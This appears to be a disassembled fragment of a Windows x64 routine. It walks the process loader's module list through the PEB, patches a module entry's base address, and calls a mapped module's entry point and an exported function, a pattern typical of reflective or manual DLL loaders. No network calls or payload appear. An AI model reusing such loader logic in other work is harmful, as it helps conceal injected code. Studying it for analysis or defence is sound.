mov rax, qword [rsp + 0x40]
mov edi, dword [rax + 0x28]
add rdi, r15
mov rsi, qword [rsp + 0x1d0]
mov rcx, r15
cmp byte [rsi + 8], r12b
jne 0x18000462a
mov rdx, qword [rsi + 0x10]
call fcn.1800030cc
mov rbx, rax
test rax, rax
je 0x180004632
cmp byte [rsi + 0x3c], r12b
je 0x180004609
mov r8, qword [rsi + 0x40]
test r8, r8
je 0x180004609
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x1800045fe
cmp qword [rcx + 0x20], r8
je 0x180004605
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x1800045f5
jmp 0x180004609
mov qword [rcx + 0x20], r15
xor r8d, r8d
mov edx, r13d
mov rcx, r15
call rdi
mov r9d, dword [rsi + 0x38]
mov r8, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x20]
call rbx
cdqe
jmp 0x180004664
xor r8d, r8d
mov edx, r13d
call rdi
xor ecx, ecx
movsd xmm0, qword [0x18002fd88]
comisd xmm6, xmm0
jb 0x180004659
subsd xmm6, xmm0
comisd xmm6, xmm0
jae 0x180004659
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm6
add rax, rcx
add rax, rdi
lea r11, [rsp + 0x190]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret